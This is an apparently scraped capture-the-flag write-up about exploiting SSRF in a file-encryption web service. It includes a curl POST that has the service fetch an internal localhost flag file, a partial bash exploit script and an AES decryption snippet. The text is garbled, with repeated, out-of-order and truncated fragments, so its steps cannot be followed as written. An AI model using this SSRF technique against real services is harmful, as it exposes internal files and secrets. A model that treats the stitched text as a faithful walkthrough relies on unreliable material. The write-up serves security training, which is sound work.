V2.fams.cc -
/var/www/internal/ ├─ index.html ├─ secret/ │ └─ flag.txt └─ uploads/ The flag file ( /var/www/internal/secret/flag.txt ) contains the flag in plain text. Because the external interface can reach http://127.0.0.1:8000/secret/flag.txt via SSRF, we can ask the service to encrypt that file and then decrypt it ourselves. url = http://127.0.0.1:8000/secret/flag.txt key = any‑string (e.g., "ssrf") Submit:
curl -s -X POST http://v2.fams.cc/encrypt \ -d "url=http://127.0.0.1:8000/secret/flag.txt&key=ssrf" \ -o response.json Result ( response.json ): v2.fams.cc
<!doctype html> <html> <head><title>FAMS v2 – File‑and‑Message Service</title></head> <body> <h1>Welcome to FAMS v2</h1> <form action="/encrypt" method="POST"> <label>URL: <input type="text" name="url"></label><br> <label>Key: <input type="text" name="key"></label><br> <input type="submit" value="Encrypt"> </form> <p>Download your encrypted file at: <a id="dl" href=""></a></p> </body> </html> No obvious hints. The /encrypt endpoint is the only POST target. Using Burp Suite (or curl -v ), we send a dummy request: /var/www/internal/ ├─ index
"download": "http://v2.fams.cc/download/7a9c3d", "used_key": "8c3c5d1e2f4a6b7c9d0e1f2a3b4c5d6e" The /encrypt endpoint is the only POST target
#!/usr/bin/env bash TARGET="http://v2.fams.cc" SSRF_URL="http://127.0.0.1:8000/secret/flag.txt" KEY="ssrf"
cipher = AES.new(key, AES.MODE_CBC, iv) pt = cipher.decrypt(ct)
"download": "http://v2.fams.cc/download/5c6b4a", "used_key": "3d2e4c5a9b7d1e3f5a6c7d8e9f0a1b2c"